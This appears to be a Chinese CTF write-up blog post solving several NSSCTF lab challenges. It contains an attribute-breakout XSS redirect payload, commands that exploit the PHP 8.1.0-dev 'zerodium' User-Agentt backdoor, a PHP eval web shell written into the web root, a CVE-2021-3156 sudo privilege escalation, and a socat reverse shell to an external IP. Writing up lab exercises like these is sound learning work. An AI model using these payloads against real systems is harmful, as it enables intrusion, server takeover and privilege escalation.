比赛的时候刚从外地回家,没来得及看题,于是上题库后重新复现
刚打开网站的时候出现一个mp4,一开始并没有想着说去F12看看,等mp4播放完后就自动挑战到了 king.php 下
后续没思路的时候重头来过,看了一下数据包没啥东西,就用F12大法看看有没有隐藏信息
不过需要注意的是,这题有hint,也指向了启动页面(还是hint很关键啊,前面浪费了很久时间)
门酱想玩新游戏了,你能给他下载地址吗?
hint1: 启动的页面藏了提示
hint2: 与cookie无关,给门酱链接就行了
提示了这个地址:nssctfroundSpring.php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}
先继续浏览一下其他页面吧首页下
有一个文本框还有一个评论区
评论区可以进行评论,结合前面的hint其实大概也能猜出来是XSS了,不过具体xss要干什么还不知道
因为hint给了与cookie无关,所以猜测可能不是打cookie
然后要给门酱一个链接,猜测应该是用XSS进行跳转吧
这里随便给了门酱个链接,例如www.baidu.com显示要自己的网站
刚好符合前面的猜测,进行xss跳转
拿靶机的网站上去试试
不再显示
于是看nssctfroundSpring.php进行xss
直接进行分析:
$contentLines = explode(" ", $comment['content']);
这行代码将评论内容 $comment['content']
按照空格进行分割,存储到 $contentLines
数组中。假设评论内容是以空格分隔的单词。if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
这行代码用正则表达式检查评论内容中第一个单词是否是以 http://
或 https://
开头的链接。如果是,则继续执行下面的逻辑。if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
这行代码使用正则表达式检查链接是否以 .png
结尾,并且链接的结尾也是 /png
。如果是,则执行下面的逻辑。$urlParts = parse_url($matches[0]);
这行代码使用 parse_url
函数解析匹配到的链接,将其分解为各个部分,并存储到 $urlParts
变量中。if ($urlParts !== false) {
这行代码检查 parse_url
函数是否成功解析了链接,如果成功,则继续执行下面的逻辑。echo '<img class="content" src="' . $matches[0] . '">';
这行代码输出一个 <img>
标签,将匹配到的图片链接作为 src
属性的值,并添加了一个 class="content"
的类名。这样就会在页面上显示该图片。前面就是正常的评论区要求的输入规则,后面的echo是xss的关键,在代码审计中echo更是xss的关键,有机会写一下关于xss的代码审计
可以看到是将前面的内容直接拼接进来,所以我们按照评论规则接着使用 “> 直接闭合是不是就可以达到xss
理论成立,实践开始
http://1.com"><script>alert(1)</script><img"1.png 12 /png
然后就直接百度一个跳转语法就好啦
<script>window.location.href='https://genshin.hoyoverse.com/';</script>
payload:
http://1.com"><script>window.location.href='https://genshin.hoyoverse.com/';</script><img"1.png 12 /png
因为xss跳转无法立即拿到url,所以bp拦截一下就好了
/words/?title=MQ%3D%3D&content=aHR0cCUzQSUyRiUyRjEuY29tJTIyJTNFJTNDc2NyaXB0JTNFd2luZG93LmxvY2F0aW9uLmhyZWYlM0QnaHR0cHMlM0ElMkYlMkZnZW5zaGluLmhveW92ZXJzZS5jb20lMkYnJTNCJTNDJTJGc2NyaXB0JTNFJTNDaW1nJTIyMS5wbmclMjAxMiUyMCUyRnBuZw%3D%3D
结果还是不行,人傻了,等重新看了一下评论区才发现,这nm我给错游戏了,应该给元梦之星
重新来
<script>window.location.href='https://ymzx.qq.com/';</script>
payload:
http://1.com"><script>window.location.href='https://ymzx.qq.com/';</script><img"1.png 12 /png
/words/?title=MQ%3D%3D&content=aHR0cCUzQSUyRiUyRjEuY29tJTIyJTNFJTNDc2NyaXB0JTNFd2luZG93LmxvY2F0aW9uLmhyZWYlM0QnaHR0cHMlM0ElMkYlMkZ5bXp4LnFxLmNvbSUyRiclM0IlM0MlMkZzY3JpcHQlM0UlM0NpbWclMjIxLnBuZyUyMDEyJTIwJTJGcG5n
成功拿到flag:NSSCTF{64844971-41d6-4111-ab66-495df8fb4c15}
好久没打ctf了,没想到越来越脑洞了……
金币不够做不了 -。-
占个坑,等我下次金币够了在做吧
题目描述:php的开发仓库好像被入侵过
一打开就是一个phpinfo
一脸懵逼,有点抽象,不会又跟前面那个xss一样得寻找蛛丝马迹吧
往信息泄露这方面去想了想,发现PHP版本是已知的 PHP Version 8.1.0-dev
找到这个PHP版本有后门漏洞,通过发送 User-Agentt 标头来执行任意代码
那还说什么,直接开测
PHP 8.1.0-dev 后门远程命令执行漏洞复现-腾讯云开发者社区-腾讯云 (tencent.com)
payload测试:
User-Agentt: zerodiumvar_dump(2*3);
成功回显int(6),漏洞存在。
ls看看根目录
根据最开始说的flag在/root下,用ls看看
发现回显空,猜测是不是没权限呀
执行whoami发现是user用户
判断没权限,难不成ctf得提权了???
不管先,先上shell
写🐎得先看目录在哪,盲猜默认目录 /var/www/html
ls看了一下发现确实是,回显了index.php
那就直接用echo写🐎了
User-Agentt: zerodiumsystem('echo "<?php @eval($_POST[1]);phpinfo();?>">/var/www/html/1.php');
打开1.php,提示
Parse error: syntax error, unexpected end of file, expecting “(“ in /var/www/html/1.php(1) : eval()’d code on line 1
看来得对$进行转义
User-Agentt: zerodiumsystem('echo "
">/var/www/html/1.php');
成功写入,连接
md还真要提权,env没有,也打不开root目录,小小ctf还整上提权了
看一下内核版本:
cat /etc/*-release
发现是 Ubuntu 20.04.3 LTS
直接百度Ubuntu 20.04.3 LTS提权,使用CVE-2021-3493提权
一顿操作猛如虎,结果失败了
没办法,换方法
往浏览器下翻了一下,发现还有个 CVE-2021-31560 可以试试
【漏洞修复】Linux Sudo本地提权漏洞修复(CVE-2021-31560)-腾讯云开发者社区-腾讯云 (tencent.com)
但是找不到exp,百度这个cve结果发现这篇文章后面多打了一个0 =.=
正确的cve应该是:CVE-2021-3156:https://github.com/blasty/CVE-2021-3156
发现还是不太行
被迫去看官方wp
发现真的是这个cve,但是上面的poc打不成功
用官方的poc去打:CptGibbon/CVE-2021-3156: Root shell PoC for CVE-2021-3156 (github.com)
发现也不太ok
猜测应该是得用交互式shell才能提权了,传个socat弹个交互式shell到服务器上
但是这时候,服务器崩坏了(寄,又得花费30金币)
重新开了一个靶机 用socat进行交互shell
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:39.108.11.237:2333
直接make 然后运行
也是终于成功了www…
NSSCTF{0014fed1-627b-4d93-802c-1ccefda6df75}
总结一下,这题跟上面的xss一样麻烦(可能是我太菜了吧),但是难度并不难,几个细节还是得注意一下的
然后就是socat这个命令可以记录一下,看官方wp是直接去使用这个cve也没判断过程(老藏着掖着不写详细)
这题没什么好说的,不评价,全部走完流程就可以拿flag了
Inside No.9 or Inside No.7 ?
182A1918071C152E0A4737263A3E780A6F6A075A112742777C687D0700773F7D39560063487D
Type 7加密,找个在线网站解密就好了
Type7密码加密/解密 - 一个工具箱 - 好用的在线工具都在这里! (atoolbox.net)
NSSCTF{H4PPY_N3WY34r_4ND_N55CTF_18TH}
这么多用户,总有一个用户拥有flag
(用户名取自附件中的字典,密码就是用户名的md5sum)
应该是爆破题,有空再看看,不想浪费金币
什么,直接开放一个debuger让我来操作吗,这么好的吗
占坑,晚点看看,还没做过类似的题目
等晚点结束了再把wp放出来